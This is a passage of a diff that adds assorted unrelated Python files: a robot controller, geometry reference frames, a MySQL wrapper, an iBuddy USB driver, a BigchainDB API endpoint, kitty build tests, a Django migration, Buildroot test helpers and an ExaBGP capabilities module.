+    def loopHook(self):
+        """ The loop hook is called by the loop() method """
+        
+        # See if we can fire any control event (grant)
+        events = self.state.nextEvent()
+        if events:
+            for event in events:
+                self.event_pub.publish( event )
+    
+        # See if there is any unoccupied robot
+        self.dispatchTasks()
+        
+        # Print and that's it
+        self.display( str( self.state ) )
+        
+        return       
+                
+                
+    def stop( self ):
+        """
+        This is the cleanup function
+        """
+            
+        for robot_handler in self.robot_handlers:
+            robot_handler.stop()
+            
+            
+        sys.exit()
+            
+            
+            
+            
+if __name__ == "__main__":
+    ctrl = Controller ( "controller" )
+    ctrl.start()
+    ctrl.loop(0.5)
diff --git a/pool/shard000/Python/0008714_frames.py b/pool/shard000/Python/0008714_frames.py
new file mode 100644
index 0000000000000000000000000000000000000000..3b93b311a9645d53f764e0c948e0f0115908b2ed
--- /dev/null
+++ b/pool/shard000/Python/0008714_frames.py
@@ -0,0 +1,92 @@
+
+from ..mathematics.vectors3d import *
+
+
+class RefFrame2D(object):
+
+    def __init__(self,
+                 versor_x: Vect3D,
+                 versor_y: Vect3D):
+        """
+        Reference frame constructor.
+
+        :param versor_x: Vect instance representing the x axis orientation
+        :param versor_y: Vect instance representing the y axis orientation
+
+        Examples:
+        """
+
+        if not (versor_x.is_close_to_1 and versor_y.is_close_to_1):
+            raise Exception("Input vectors must be near unit")
+
+        if not areClose(versor_x.angle_as_degrees(versor_y), 90.0):
+            raise Exception("Input vectors must be sub-orthogonal")
+
+        self._x = versor_x
+        self._y = versor_y
+
+    @property
+    def x(self) -> Vect3D:
+        """
+        Return the x axis as a vector.
+
+        :return: x axis
+        :rtype: Vect3D
+
+        Examples:
+          >>> RefFrame2D(Vect3D(1,0,0), Vect3D(0,1,0)).x
+          Vect3D(1.0000, 0.0000, 0.0000)
+        """
+
+        return self._x
+
+    @property
+    def y(self) -> Vect3D:
+        """
+        Return the y as a vector.
+
+        :return: y axis
+        :rtype: Vect3D
+
+        Examples:
+          >>> RefFrame2D(Vect3D(1,0,0), Vect3D(0,1,0)).y
+          Vect3D(0.0000, 1.0000, 0.0000)
+        """
+
+        return self._y
+
+
+class RefFrame3D:
+
+    def __init__(self,
+                 versor_x,
+                 versor_y,
+                 versor_z
+                 ):
+
+        assert almost_zero(versor_x.scalar_product(versor_y))
+        assert almost_zero(versor_x.scalar_product(versor_z))
+        assert almost_zero(versor_y.scalar_product(versor_z))
+
+        self.axes = [versor_x, versor_y, versor_z]
+
+    def rotation_matrix(self, rotated_frame):
+
+        for frame_axis in self.axes:
+            assert almost_zero(frame_axis.lenght_3d() - 1.0)
+        for frame_axis in rotated_frame.axes:
+            assert almost_zero(frame_axis.lenght_3d() - 1.0)
+
+        rot_matrix = np.zeros((3, 3)) * np.nan
+
+        for i, rot_frame_versor in enumerate(rotated_frame.axes):
+            for j, init_frame_versor in enumerate(self.axes):
+                rot_matrix[i, j] = init_frame_versor.scalar_product(rot_frame_versor)
+
+        return rot_matrix
+
+
+if __name__ == "__main__":
+
+    import doctest
+    doctest.testmod()
diff --git a/pool/shard000/Python/0008720_mysql.py b/pool/shard000/Python/0008720_mysql.py
new file mode 100644
index 0000000000000000000000000000000000000000..d9251d785e71689fb120bca847c115ec5f8527a0
--- /dev/null
+++ b/pool/shard000/Python/0008720_mysql.py
@@ -0,0 +1,107 @@
+################################################################
+# LiveQ - An interactive volunteering computing batch system
+# Copyright (C) 2013 Ioannis Charalampidis
+# 
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+# 
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+# 
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+################################################################
+
+"""
+MySQL Database Class
+
+This class provides a MySQL connection to the peewee databse back-end.
+"""
+
+import time
+import logging
+
+#from _mysql_exceptions import OperationalError
+from peewee import OperationalError, MySQLDatabase
+from liveq.config.classes import DatabaseConfigClass
+
+class DurableMySQLDatabase(MySQLDatabase):
+	"""
+	A DurableMySQLDatabase is an extension on the MySQLDatabase that re-connects if the
+	connection has gone off.
+	"""
+
+	def init(self, database, **connect_kwargs):
+		"""
+		Override the initialization so we add extra variables
+		"""
+
+		# Call superclass
+		MySQLDatabase.init(self, database, **connect_kwargs)
+
+		# Get logger
+		self.logger = logging.getLogger("MySQL")
+
+		# Setup recovery flag
+		self.__recovering = False 
+
+	def execute_sql(self, sql, params=None, require_commit=True):
+		"""
+		Function to re-connect to server if it disconnects
+		"""
+		try:
+			return MySQLDatabase.execute_sql(self, sql, params, require_commit)
+
+		except OperationalError as e:
+
+			# If we are recovering, re-raise
+			if self.__recovering:
+				raise
+
+			# Check for "SQL server has gone away"
+			if e.args[0] == 2006:
+
+				# Reconnect
+				self.close()
+				self.connect()
+
+				# Retry
+				self.__recovering = True
+				try:
+					ans = MySQLDatabase.execute_sql(self, sql, params, require_commit)
+					self.__recovering = False
+					return ans
+				except OperationalError as e:
+					self.__recovering = False
+					raise
+
+			# Check for "Cannot connect to the SQL server"
+			elif e.args[0] == 2002:
+				pass
+
+
+class Config(DatabaseConfigClass):
+	"""
+	Configuration endpoint for the MySQL
+	"""
+
+	"""
+	Populate the database configuration
+	"""
+	def __init__(self,config):
+		self.HOST = config['server']
+		self.DATABASE = config['database']
+		self.USERNAME = config['username']
+		self.PASSWORD = config['password']
+
+	"""
+	Create an SQL instance
+	"""
+	def instance(self, runtimeConfig):
+		return DurableMySQLDatabase(self.DATABASE, host=self.HOST, user=self.USERNAME, passwd=self.PASSWORD, threadlocals=True)
+
diff --git a/pool/shard000/Python/0008722_pybuddylib.py b/pool/shard000/Python/0008722_pybuddylib.py
new file mode 100644
index 0000000000000000000000000000000000000000..538130e9b2ae6041f817cd4f79b5dd9d523cb31f
--- /dev/null
+++ b/pool/shard000/Python/0008722_pybuddylib.py
@@ -0,0 +1,272 @@
+#!/usr/bin/env python
+#
+# pybuddylib.py: simple library to control iBuddy USB device
+#  by ewall <e@ewall.org>, Sept 2010
+#
+# borrows code from http://code.google.com/p/pybuddy
+#  by Jose.Carlos.Luna@gmail.com and luis.peralta@gmail.com
+# who got most of the code from http://cuntography.com/blog/?p=17
+# which is based on http://scott.weston.id.au/software/pymissile/
+#
+# TODO: - Why does libusb require sudo/root on Linux?
+#       - Why does libusb-win32 error on Windoze?
+#
+
+import logging
+from time import sleep
+from sys import exit
+import usb
+
+### Global Configuration
+DEBUG = True
+
+### Prepare Logging
+log = logging.getLogger("pybuddy")
+log.setLevel(logging.DEBUG)
+console_handler = logging.StreamHandler()
+if DEBUG:
+  console_handler.setLevel(logging.DEBUG)
+else:
+  console_handler.setLevel(logging.ERROR)
+log.addHandler(console_handler)
+
+### General USB Device Class
+class UsbDevice:
+  def __init__(self, vendor_id, product_id, skip):
+    busses = usb.busses()
+    self.handle = None
+    count = 0
+    for bus in busses:
+      devices = bus.devices
+      for dev in devices:
+
+        if dev.idVendor==vendor_id and dev.idProduct==product_id:
+          if count==skip:
+            log.info("USB device found (vend: %s, prod: %s)." % (dev.idVendor, dev.idProduct))
+            self.dev = dev
+            
+            self.conf = self.dev.configurations[0]
+            self.intf = self.conf.interfaces[0][0]
+            self.endpoints = []
+            for endpoint in self.intf.endpoints:
+              self.endpoints.append(endpoint)
+              log.info("USB endpoint found.")
+            return
+          else:
+            count=count+1
+    raise NoBuddyException()
+
+  def open(self):
+    # TODO: should the HID driver detachment be optional?
+    self.handle = self.dev.open()
+
+    # we need to detach HID interface
+    try:
+        self.handle.detachKernelDriver(0)
+        self.handle.detachKernelDriver(1)
+    except:
+        pass
+
+    self.handle.setConfiguration(self.conf)
+    self.handle.claimInterface(self.intf)
+    self.handle.setAltInterface(self.intf)
+
+### iBuddy Device Class
+class iBuddyDevice:
+  USB_VENDOR  = 0x1130
+  USB_PRODUCT = int(0x0001)
+  BATTERY     = 0
+  SETUP       = (0x22, 0x09, 0x00, 0x02, 0x01, 0x00, 0x00, 0x00)
+  MESS        = (0x55, 0x53, 0x42, 0x43, 0x00, 0x40, 0x02)
+
+  WAITTIME = 0.1
+  
+  LEFT  = 0
+  RIGHT = 1
+  UP    = 0
+  DOWN  = 1
+  OFF   = 0
+  ON    = 1
+
+  BLUE   = (0,0,1)
+  GREEN  = (0,1,0)
+  LTBLUE = (0,1,1)
+  PURPLE = (1,0,1)
+  RED    = (1,0,0)
+  WHITE  = (1,1,1)
+  YELLOW = (1,1,0)
+
+  CLEAR   = 0xFF
+  command = CLEAR
+
+  # the following items deal with setup and control
+
+  def __init__(self):
+    try:
+      self.dev=UsbDevice(self.USB_VENDOR, self.USB_PRODUCT, self.BATTERY)
+      self.dev.open()
+      self.dev.handle.reset()
+      self.resetCmd()
+      self.doCmd()
+    except NoBuddyException, e:
+      raise NoBuddyException()
+
+  def __send(self, inp):
+    """ send your command to the device """
+    try:
+      self.dev.handle.controlMsg(0x21, 0x09, self.SETUP, 0x02, 0x01)
+      self.dev.handle.controlMsg(0x21, 0x09, self.MESS+(inp,), 0x02, 0x01)
+    except usb.USBError:
+        if DEBUG:
+          self.__init__()
+          #raise
+        else:
+          self.__init__()
+
+  def doCmd(self, seconds=WAITTIME):
+    """ send the command specified by the current command """
+    self.__send(self.command)
+    sleep(seconds)
+
+  # the following items operate on the command to be sent next
+
+  def resetCmd(self):
+    """ reset command to default (must pump to take effect) """
+    self.command = self.CLEAR
+      
+  def setReverseBitValue(self,num,value):
+    """ commands are sent as disabled bits """
+    if (value==1):
+      temp = 0xFF - (1<<num)
+      self.command = self.command & temp
+    elif (value==0):
+      temp = 1 << num
+      self.command = self.command | temp
+
+  def getReverseBitValue(self,num):
+    """ what was that bit set to again? """
+    temp = self.command
+    temp = temp >> num
+    res = not(temp&1)
+    return res
+
+  def setHeadColors(self, red, green, blue):
+    """ colors as (red, green, blue) can be on (1) or off (0) """
+    self.setReverseBitValue(4,red)
+    self.setReverseBitValue(5,green)
+    self.setReverseBitValue(6,blue)
+    self.setReverseBitValue(2,1)
+
+  def getHeadColors (self):
+    """ returns color status as tuple representing (red, green, blue) as on (1) or off (0) """
+    return self.getReverseBitValue(4), self.getReverseBitValue(5), self.getReverseBitValue(6)
+
+  def setHeart(self, status):
+    """ heart-light can be on (1) or off (0) """
+    self.setReverseBitValue(7,status)
+
+  def getHeart(self):
+    """ returns heart-light status of on (1) or off (0) """
+    return self.getReverseBitValue(7)
+
+  def setWing(self, direction):
+    """ move the wings iBuddyDevice.UP (0) or iBuddyDevice.DOWN (1) """
+    if (direction == self.UP):
+      self.setReverseBitValue(3,1)
+      self.setReverseBitValue(2,0)
+    elif(direction == self.DOWN):
+      self.setReverseBitValue(3,0)
+      self.setReverseBitValue(2,1)
+
+  def getWing(self):
+    """ returns wing status of iBuddyDevice.UP (0) or iBuddyDevice.DOWN (1) """
+    return self.getReverseBitValue(2)
+
+  def setSwivel(self, direction):
+    """ swivel the body iBuddyDevice.LEFT (0) or iBuddyDevice.RIGHT (1) """
+    if (direction == self.RIGHT):
+      self.setReverseBitValue(1,1)
+      self.setReverseBitValue(0,0)
+    elif(direction == self.LEFT):
+      self.setReverseBitValue(1,0)
+      self.setReverseBitValue(0,1)
+
+  def getSwivel(self):
+    """ returns current swivel direction as iBuddyDevice.LEFT (0) or iBuddyDevice.RIGHT (1) """
+    return self.getReverseBitValue(1)
+
+  # the following items are macros for specific behaviors
+
+  def doReset(self, seconds=WAITTIME):
+    """ reset to default positions/off, run command immediately """
+    self.resetCmd()
+    self.doCmd(seconds)
+
+  def doFlap(self, times=3, seconds=0.2):
+    """ flap wings X times with Y seconds pause in between, run command immediately """
+    for i in range(times):
+      self.setWing(self.UP)
+      self.doCmd(seconds)
+      self.setWing(self.DOWN)
+      self.doCmd(seconds)
+
+  def doWiggle(self, times=3, seconds=0.2):
+    """ wiggle back and forth X times with Y seconds pauses, run command immediately """
+    for i in range(times):
+      self.setSwivel(self.LEFT)
+      self.doCmd(seconds)
+      self.setSwivel(self.RIGHT)
+      self.doCmd(seconds)
+
+  def doHeartbeat(self, times=3, seconds=0.3):
+    """ blink heart X times with Y seconds' pause in betwee, run command immediately """
+    for i in range(times):
+      self.setHeart(self.ON)
+      self.doCmd(seconds)
+      self.setHeart(self.OFF)
+      self.doCmd(seconds)
+
+  def doColorRGB(self, r, g, b, seconds=WAITTIME):
+    """ set head color by red/green/blue values 0 or 1, run command immediately """
+    self.setHeadColors(r, g, b)
+    self.doCmd(seconds)
+
+  def doColorName(self, rgb, seconds=WAITTIME):
+    """ set head color with color name tuples, run command immediately """
+    self.setHeadColors(*rgb)
+    self.doCmd(seconds)
+
+## Custom Exceptions
+class NoBuddyException(usb.USBError):
+  """ indicates errors communicating with iBuddy USB device """
+  #def __init__(self, *args):
+  #  Exception._ _init_ _(self, *args)
+  #  self.wrapped_exc = sys.exc_info()
+  pass
+
+### Main Program
+if __name__ == '__main__':
+
+  # find iBuddy device 
+  log.info("Starting search...")
+  try:
+      buddy = iBuddyDevice()
+  except NoBuddyException, e:
+      log.exception("No iBuddy device found!")
+      exit(1)
+
+  # demo command macros
+  buddy.doColorName(iBuddyDevice.PURPLE, 0.5)
+  buddy.doColorName(iBuddyDevice.BLUE, 0.5)
+  buddy.doColorName(iBuddyDevice.LTBLUE, 0.5)
+  buddy.doColorName(iBuddyDevice.YELLOW, 0.5)
+  buddy.doColorName(iBuddyDevice.GREEN, 0.5)
+  buddy.doColorName(iBuddyDevice.RED, 0.5)
+  buddy.doColorName(iBuddyDevice.WHITE, 0.5)
+  buddy.doFlap()
+  sleep(1)
+  buddy.doWiggle()
+  sleep(1)
+  buddy.doHeartbeat()
+  sleep(1)
+  buddy.doReset()
diff --git a/pool/shard000/Python/0008723_statuses.py b/pool/shard000/Python/0008723_statuses.py
new file mode 100644
index 0000000000000000000000000000000000000000..0044c3343991fcd846a9bbc2fb5230948c181cd3
--- /dev/null
+++ b/pool/shard000/Python/0008723_statuses.py
@@ -0,0 +1,45 @@
+"""This module provides the blueprint for the statuses API endpoints.
+
+For more information please refer to the documentation: http://bigchaindb.com/http-api
+"""
+from flask import current_app
+from flask_restful import Resource, reqparse
+
+from bigchaindb.web.views.base import make_error
+
+
+class StatusApi(Resource):
+    def get(self):
+        """API endpoint to get details about the status of a transaction or a block.
+
+        Return:
+            A ``dict`` in the format ``{'status': <status>}``, where
+            ``<status>`` is one of "valid", "invalid", "undecided", "backlog".
+        """
+        parser = reqparse.RequestParser()
+        parser.add_argument('transaction_id', type=str)
+        parser.add_argument('block_id', type=str)
+
+        args = parser.parse_args(strict=True)
+        tx_id = args['transaction_id']
+        block_id = args['block_id']
+
+        # logical xor - exactly one query argument required
+        if bool(tx_id) == bool(block_id):
+            return make_error(400, 'Provide exactly one query parameter. Choices are: block_id, transaction_id')
+
+        pool = current_app.config['bigchain_pool']
+        status = None
+
+        with pool() as bigchain:
+            if tx_id:
+                status = bigchain.get_status(tx_id)
+            elif block_id:
+                _, status = bigchain.get_block(block_id=block_id, include_status=True)
+
+        if not status:
+            return make_error(404)
+
+        return {
+            'status': status
+        }
diff --git a/pool/shard000/Python/0008724_check_build.py b/pool/shard000/Python/0008724_check_build.py
new file mode 100644
index 0000000000000000000000000000000000000000..667d349f031082b2b5ba4e8aca81c3a2003b907d
--- /dev/null
+++ b/pool/shard000/Python/0008724_check_build.py
@@ -0,0 +1,80 @@
+#!/usr/bin/env python
+# License: GPLv3 Copyright: 2021, Kovid Goyal <kovid at kovidgoyal.net>
+
+
+import os
+import sys
+import unittest
+
+from . import BaseTest
+
+
+class TestBuild(BaseTest):
+
+    def test_exe(self) -> None:
+        from kitty.constants import kitty_exe
+        exe = kitty_exe()
+        self.assertTrue(os.access(exe, os.X_OK))
+        self.assertTrue(os.path.isfile(exe))
+        self.assertIn('kitty', os.path.basename(exe))
+
+    def test_loading_extensions(self) -> None:
+        import kitty.fast_data_types as fdt
+        from kittens.choose import subseq_matcher
+        from kittens.diff import diff_speedup
+        from kittens.transfer import rsync
+        from kittens.unicode_input import unicode_names
+        del fdt, unicode_names, subseq_matcher, diff_speedup, rsync
+
+    def test_loading_shaders(self) -> None:
+        from kitty.utils import load_shaders
+        for name in 'cell border bgimage tint blit graphics'.split():
+            load_shaders(name)
+
+    def test_glfw_modules(self) -> None:
+        from kitty.constants import glfw_path, is_macos
+        linux_backends = ['x11']
+        if not self.is_ci:
+            linux_backends.append('wayland')
+        modules = ['cocoa'] if is_macos else linux_backends
+        for name in modules:
+            path = glfw_path(name)
+            self.assertTrue(os.path.isfile(path), f'{path} is not a file')
+            self.assertTrue(os.access(path, os.X_OK), f'{path} is not executable')
+
+    def test_all_kitten_names(self) -> None:
+        from kittens.runner import all_kitten_names
+        names = all_kitten_names()
+        self.assertIn('diff', names)
+        self.assertIn('hints', names)
+        self.assertGreater(len(names), 8)
+
+    def test_filesystem_locations(self) -> None:
+        from kitty.constants import (
+            logo_png_file, shell_integration_dir, terminfo_dir
+        )
+        zsh = os.path.join(shell_integration_dir, 'zsh')
+        self.assertTrue(os.path.isdir(terminfo_dir), f'Terminfo dir: {terminfo_dir}')
+        self.assertTrue(os.path.exists(logo_png_file), f'Logo file: {logo_png_file}')
+        self.assertTrue(os.path.exists(zsh), f'Shell integration: {zsh}')
+
+    def test_ca_certificates(self):
+        import ssl
+        if not getattr(sys, 'frozen', False):
+            self.skipTest('CA certificates are only tested on frozen builds')
+        c = ssl.create_default_context()
+        self.assertGreater(c.cert_store_stats()['x509_ca'], 2)
+
+    def test_pygments(self):
+        if not getattr(sys, 'frozen', False):
+            self.skipTest('Pygments is only tested on frozen builds')
+        import pygments
+        del pygments
+
+
+def main() -> None:
+    tests = unittest.defaultTestLoader.loadTestsFromTestCase(TestBuild)
+    r = unittest.TextTestRunner(verbosity=4)
+    result = r.run(tests)
+    if result.errors or result.failures:
+        raise SystemExit(1)
diff --git a/pool/shard000/Python/0008728_0010_auto_20190617_1524.py b/pool/shard000/Python/0008728_0010_auto_20190617_1524.py
new file mode 100644
index 0000000000000000000000000000000000000000..9dc62bc9f3e3fc552207dfe958233ff5319322a4
--- /dev/null
+++ b/pool/shard000/Python/0008728_0010_auto_20190617_1524.py
@@ -0,0 +1,25 @@
+# -*- coding: utf-8 -*-
+# Generated by Django 1.11.21 on 2019-06-17 15:24
+from __future__ import unicode_literals
+
+from django.db import migrations, models
+import django.db.models.deletion
+
+
+class Migration(migrations.Migration):
+
+    dependencies = [
+        ('api', '0009_auto_20180711_1927'),
+    ]
+
+    operations = [
+        migrations.RemoveField(
+            model_name='run',
+            name='imported',
+        ),
+        migrations.AlterField(
+            model_name='run',
+            name='parent',
+            field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='steps', to='api.Run'),
+        ),
+    ]
diff --git a/pool/shard000/Python/0008737_bootstrap.py b/pool/shard000/Python/0008737_bootstrap.py
new file mode 100644
index 0000000000000000000000000000000000000000..86366ec7c46f876906ec8f612e5987210b1d7fd6
--- /dev/null
+++ b/pool/shard000/Python/0008737_bootstrap.py
@@ -0,0 +1,61 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+from __future__ import absolute_import, print_function, unicode_literals
+
+import os
+import sys
+from os.path import abspath
+from os.path import dirname
+from os.path import exists
+from os.path import join
+
+
+if __name__ == "__main__":
+    base_path = dirname(dirname(abspath(__file__)))
+    print("Project path: {0}".format(base_path))
+    env_path = join(base_path, ".tox", "bootstrap")
+    if sys.platform == "win32":
+        bin_path = join(env_path, "Scripts")
+    else:
+        bin_path = join(env_path, "bin")
+    if not exists(env_path):
+        import subprocess
+
+        print("Making bootstrap env in: {0} ...".format(env_path))
+        try:
+            subprocess.check_call(["virtualenv", env_path])
+        except subprocess.CalledProcessError:
+            subprocess.check_call([sys.executable, "-m", "virtualenv", env_path])
+        print("Installing `jinja2` into bootstrap environment...")
+        subprocess.check_call([join(bin_path, "pip"), "install", "jinja2"])
+    python_executable = join(bin_path, "python")
+    if not os.path.samefile(python_executable, sys.executable):
+        print("Re-executing with: {0}".format(python_executable))
+        os.execv(python_executable, [python_executable, __file__])
+    # activate = join(bin_path, "activate_this.py")
+    # # noinspection PyCompatibility
+    # exec(compile(open(activate, "rb").read(), activate, "exec"), dict(__file__=activate))
+
+    import jinja2
+
+    import subprocess
+
+    jinja = jinja2.Environment(
+        loader=jinja2.FileSystemLoader(join(base_path, "ci", "templates")),
+        trim_blocks=True,
+        lstrip_blocks=True,
+        keep_trailing_newline=True
+    )
+
+    tox_environments = [
+        line.strip()
+        # WARNING: 'tox' must be installed globally or in the project's virtualenv
+        for line in subprocess.check_output(['tox', '--listenvs'], universal_newlines=True).splitlines()
+    ]
+    tox_environments = [line for line in tox_environments if line not in ['clean', 'report', 'docs', 'check']]
+
+    for name in os.listdir(join("ci", "templates")):
+        with open(join(base_path, name), "w") as fh:
+            fh.write(jinja.get_template(name).render(tox_environments=tox_environments))
+        print("Wrote {}".format(name))
+    print("DONE.")
diff --git a/pool/shard000/Python/0008743_init__.py b/pool/shard000/Python/0008743_init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..6522a265f3d2316eda6a79e532e5660b63100776
--- /dev/null
+++ b/pool/shard000/Python/0008743_init__.py
@@ -0,0 +1,114 @@
+import os
+import re
+import sys
+import tempfile
+import subprocess
+from urllib.request import urlopen
+from urllib.error import HTTPError, URLError
+
+ARTIFACTS_URL = "http://autobuild.buildroot.net/artefacts/"
+BASE_DIR = os.path.realpath(os.path.join(os.path.dirname(__file__), "../../.."))
+
+
+def open_log_file(builddir, stage, logtofile=True):
+    """
+    Open a file for logging and return its handler.
+    If logtofile is True, returns sys.stdout. Otherwise opens a file
+    with a suitable name in the build directory.
+    """
+    if logtofile:
+        fhandle = open("{}-{}.log".format(builddir, stage), 'a+')
+    else:
+        fhandle = sys.stdout
+    return fhandle
+
+
+def basepath(relpath=""):
+    """Return the absolute path for a file or directory relative to the Buildroot top directory."""
+    return os.path.join(BASE_DIR, relpath)
+
+
+def filepath(relpath):
+    return os.path.join(BASE_DIR, "support/testing", relpath)
+
+
+def download(dldir, filename):
+    finalpath = os.path.join(dldir, filename)
+    if os.path.exists(finalpath):
+        return finalpath
+
+    if not os.path.exists(dldir):
+        os.makedirs(dldir)
+
+    tmpfile = tempfile.mktemp(dir=dldir)
+    print("Downloading to {}".format(tmpfile))
+
+    try:
+        url_fh = urlopen(os.path.join(ARTIFACTS_URL, filename))
+        with open(tmpfile, "w+b") as tmpfile_fh:
+            tmpfile_fh.write(url_fh.read())
+    except (HTTPError, URLError) as err:
+        os.unlink(tmpfile)
+        raise err
+
+    print("Renaming from {} to {}".format(tmpfile, finalpath))
+    os.rename(tmpfile, finalpath)
+    return finalpath
+
+
+def run_cmd_on_host(builddir, cmd):
+    """Call subprocess.check_output and return the text output."""
+    out = subprocess.check_output(cmd,
+                                  stderr=open(os.devnull, "w"),
+                                  cwd=builddir,
+                                  env={"LANG": "C"},
+                                  universal_newlines=True)
+    return out
+
+
+def get_elf_arch_tag(builddir, prefix, fpath, tag):
+    """
+    Runs the cross readelf on 'fpath', then extracts the value of tag 'tag'.
+    Example:
+    >>> get_elf_arch_tag('output', 'arm-none-linux-gnueabi-',
+                         'bin/busybox', 'Tag_CPU_arch')
+    v5TEJ
+    >>>
+    """
+    cmd = ["host/bin/{}-readelf".format(prefix),
+           "-A", os.path.join("target", fpath)]
+    out = run_cmd_on_host(builddir, cmd)
+    regexp = re.compile(r"^  {}: (.*)$".format(tag))
+    for line in out.splitlines():
+        m = regexp.match(line)
+        if not m:
+            continue
+        return m.group(1)
+    return None
+
+
+def get_file_arch(builddir, prefix, fpath):
+    return get_elf_arch_tag(builddir, prefix, fpath, "Tag_CPU_arch")
+
+
+def get_elf_prog_interpreter(builddir, prefix, fpath):
+    """
+    Runs the cross readelf on 'fpath' to extract the program interpreter
+    name and returns it.
+    Example:
+    >>> get_elf_prog_interpreter('br-tests/TestExternalToolchainLinaroArm',
+                                 'arm-linux-gnueabihf',
+                                 'bin/busybox')
+    /lib/ld-linux-armhf.so.3
+    >>>
+    """
+    cmd = ["host/bin/{}-readelf".format(prefix),
+           "-l", os.path.join("target", fpath)]
+    out = run_cmd_on_host(builddir, cmd)
+    regexp = re.compile(r"^ *\[Requesting program interpreter: (.*)\]$")
+    for line in out.splitlines():
+        m = regexp.match(line)
+        if not m:
+            continue
+        return m.group(1)
+    return None
diff --git a/pool/shard000/Python/0008747_capabilities.py b/pool/shard000/Python/0008747_capabilities.py
new file mode 100644
index 0000000000000000000000000000000000000000..44e509341390e8589196d50d9303f9068624845b
--- /dev/null
+++ b/pool/shard000/Python/0008747_capabilities.py
@@ -0,0 +1,167 @@
+# encoding: utf-8
+"""
+capabilities.py
+
+Created by Thomas Mangin on 2012-07-17.
+Copyright (c) 2009-2015 Exa Networks. All rights reserved.
+"""
+
+from exabgp.protocol.family import AFI
+from exabgp.protocol.family import SAFI
+
+from exabgp.bgp.message.open.capability.capability import Capability
+from exabgp.bgp.message.open.capability.addpath import AddPath
+from exabgp.bgp.message.open.capability.asn4 import ASN4
+from exabgp.bgp.message.open.capability.graceful import Graceful
+from exabgp.bgp.message.open.capability.mp import MultiProtocol
+from exabgp.bgp.message.open.capability.ms import MultiSession
+from exabgp.bgp.message.open.capability.operational import Operational
+from exabgp.bgp.message.open.capability.refresh import RouteRefresh
+from exabgp.bgp.message.open.capability.refresh import EnhancedRouteRefresh
+# from exabgp.bgp.message.open.capability.unknown import UnknownCapability
+
+from exabgp.bgp.message.notification import Notify
+
+
+# =================================================================== Parameter
+#
+
+class Parameter (int):
+	AUTHENTIFICATION_INFORMATION = 0x01  # Depreciated
+	CAPABILITIES                 = 0x02
+
+	def __str__ (self):
+		if self == 0x01:
+			return "AUTHENTIFICATION INFORMATION"
+		if self == 0x02:
+			return "OPTIONAL"
+		return 'UNKNOWN'
+
+# =================================================================== Capabilities
+# http://www.iana.org/assignments/capability-codes/
+
+# +------------------------------+
+# | Capability Code (1 octet)    |
+# +------------------------------+
+# | Capability Length (1 octet)  |
+# +------------------------------+
+# | Capability Value (variable)  |
+# +------------------------------+
+
+
+class Capabilities (dict):
+	def announced (self, capability):
+		return capability in self
+
+	def __str__ (self):
+		r = []
+		for key in sorted(self.keys()):
+			r.append(str(self[key]))
+		return ', '.join(r)
+
+	def _protocol (self, neighbor):
+		families = neighbor.families()
+		mp = MultiProtocol()
+		mp.extend(families)
+		self[Capability.CODE.MULTIPROTOCOL] = mp
+
+	def _asn4 (self, neighbor):
+		if not neighbor.asn4:
+			return
+
+		self[Capability.CODE.FOUR_BYTES_ASN] = ASN4(neighbor.local_as)
+
+	def _addpath (self, neighbor):
+		if not neighbor.add_path:
+			return
+
+		families = neighbor.families()
+		ap_families = []
+		if (AFI(AFI.ipv4),SAFI(SAFI.unicast)) in families:
+			ap_families.append((AFI(AFI.ipv4),SAFI(SAFI.unicast)))
+		if (AFI(AFI.ipv6),SAFI(SAFI.unicast)) in families:
+			ap_families.append((AFI(AFI.ipv6),SAFI(SAFI.unicast)))
+		if (AFI(AFI.ipv4),SAFI(SAFI.nlri_mpls)) in families:
+			ap_families.append((AFI(AFI.ipv4),SAFI(SAFI.nlri_mpls)))
+		if (AFI(AFI.ipv6),SAFI(SAFI.unicast)) in families:
+			ap_families.append((AFI(AFI.ipv6),SAFI(SAFI.unicast)))
+		self[Capability.CODE.ADD_PATH] = AddPath(ap_families,neighbor.add_path)
+
+	def _graceful (self, neighbor, restarted):
+		if not neighbor.graceful_restart:
+			return
+
+		self[Capability.CODE.GRACEFUL_RESTART] = Graceful().set(
+			Graceful.RESTART_STATE if restarted else 0x0,
+			neighbor.graceful_restart,
+			[(afi,safi,Graceful.FORWARDING_STATE) for (afi,safi) in neighbor.families()]
+		)
+
+	def _refresh (self, neighbor):
+		if not neighbor.route_refresh:
+			return
+		self[Capability.CODE.ROUTE_REFRESH] = RouteRefresh()
+		self[Capability.CODE.ENHANCED_ROUTE_REFRESH] = EnhancedRouteRefresh()
+
+	def _operational (self, neighbor):
+		if not neighbor.operational:
+			return
+		self[Capability.CODE.OPERATIONAL] = Operational()
+
+	def _session (self, neighbor):
+		if not neighbor.multisession:
+			return
+		# XXX: FIXME: should it not be the RFC version ?
+		self[Capability.CODE.MULTISESSION] = MultiSession().set([Capability.CODE.MULTIPROTOCOL])
+
+	def new (self, neighbor, restarted):
+		self._protocol(neighbor)
+		self._asn4(neighbor)
+		self._addpath(neighbor)
+		self._graceful(neighbor,restarted)
+		self._refresh(neighbor)
+		self._operational(neighbor)
+		self._session(neighbor)  # MUST be the last key added, really !?! dict is not ordered !
+		return self
+
+	def pack (self):
+		rs = []
+		for k,capabilities in self.iteritems():
+			for capability in capabilities.extract():
+				rs.append("%s%s%s" % (chr(k),chr(len(capability)),capability))
+		parameters = "".join(["%s%s%s" % (chr(2),chr(len(r)),r) for r in rs])
+		return "%s%s" % (chr(len(parameters)),parameters)
+
+	@staticmethod
+	def unpack (data):
+		def _key_values (name, data):
+			if len(data) < 2:
+				raise Notify(2,0,"Bad length for OPEN %s (<2) %s" % (name,Capability.hex(data)))
+			l = ord(data[1])
+			boundary = l+2
+			if len(data) < boundary:
+				raise Notify(2,0,"Bad length for OPEN %s (buffer underrun) %s" % (name,Capability.hex(data)))
+			key = ord(data[0])
+			value = data[2:boundary]
+			rest = data[boundary:]
+			return key,value,rest
+
+		capabilities = Capabilities()
+
+		option_len = ord(data[0])
+		# XXX: FIXME: check the length of data
+		if option_len:
+			data = data[1:]
